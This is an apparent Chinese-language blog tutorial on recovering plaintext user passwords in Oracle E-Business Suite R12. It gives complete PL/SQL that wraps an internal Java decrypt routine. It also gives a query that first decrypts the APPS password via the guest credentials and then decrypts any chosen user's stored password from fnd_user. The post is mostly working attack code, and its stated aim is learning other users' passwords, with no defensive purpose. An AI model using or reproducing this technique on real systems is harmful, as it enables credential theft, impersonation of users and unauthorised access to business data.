Oracle EBS R12下如何破解用户密码


前提:你有apps的数据库账户,想知道某个用户的密码,因为fnd_user中的密码为加密的,所以无法看懂,你可以尝试用下边的方式来查看用户密码。

  1. SQL> desc fnd_user;  
  2.    Name                                      Null?    Type  
  3.    ----------------------------------------- -------- ----------------   
  4.   
  5.    USER_ID                                   NOT NULL NUMBER(15)  
  6.    USER_NAME                                 NOT NULL VARCHAR2(100)  
  7.    LAST_UPDATE_DATE                          NOT NULL DATE  
  8.    LAST_UPDATED_BY                           NOT NULL NUMBER(15)  
  9.    CREATION_DATE                             NOT NULL DATE  
  10.    CREATED_BY                                NOT NULL NUMBER(15)  
  11.    LAST_UPDATE_LOGIN                                  NUMBER(15)  
  12.    ENCRYPTED_FOUNDATION_PASSWORD             NOT NULL VARCHAR2(100)  
  13.    ENCRYPTED_USER_PASSWORD                   NOT NULL VARCHAR2(100)  
  14.   ...  

1.创建Package,这个package会调用内部的解码类

  1. --创建Package声明   
  2. CREATE OR REPLACE PACKAGE get_pwd  
  3. AS  
  4.    FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)  
  5.       RETURN VARCHAR2;  
  6. END get_pwd;  
  7. /  
  8.   
  9. --创建Package Body   
  10. CREATE OR REPLACE PACKAGE BODY get_pwd  
  11. AS  
  12.    FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)  
  13.       RETURN VARCHAR2  
  14.    AS  
  15.       LANGUAGE JAVA  
  16.       NAME 'Oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';  
  17. END get_pwd;  
  18. /  
2.查询用户
  1. --Query to execute   
  2. SELECT usr.user_name,  
  3.        get_pwd.decrypt  
  4.           ((SELECT (SELECT get_pwd.decrypt  
  5.                               (fnd_web_sec.get_guest_username_pwd,  
  6.                                usertable.encrypted_foundation_password  
  7.                               )  
  8.                       FROM DUAL) AS apps_password  
  9.               FROM apps.fnd_user usertable  
  10.              WHERE usertable.user_name =  
  11.                       (SELECT SUBSTR  
  12.                                   (fnd_web_sec.get_guest_username_pwd,  
  13.                                    1,  
  14.                                      INSTR  
  15.                                           (fnd_web_sec.get_guest_username_pwd,  
  16.                                            '/'  
  17.                                           )  
  18.                                    - 1  
  19.                                   )  
  20.                          FROM DUAL)),  
  21.            usr.encrypted_user_password  
  22.           ) PASSWORD  
  23.   FROM apps.fnd_user usr  
  24.  WHERE usr.user_name = '&USER_NAME';  

相关内容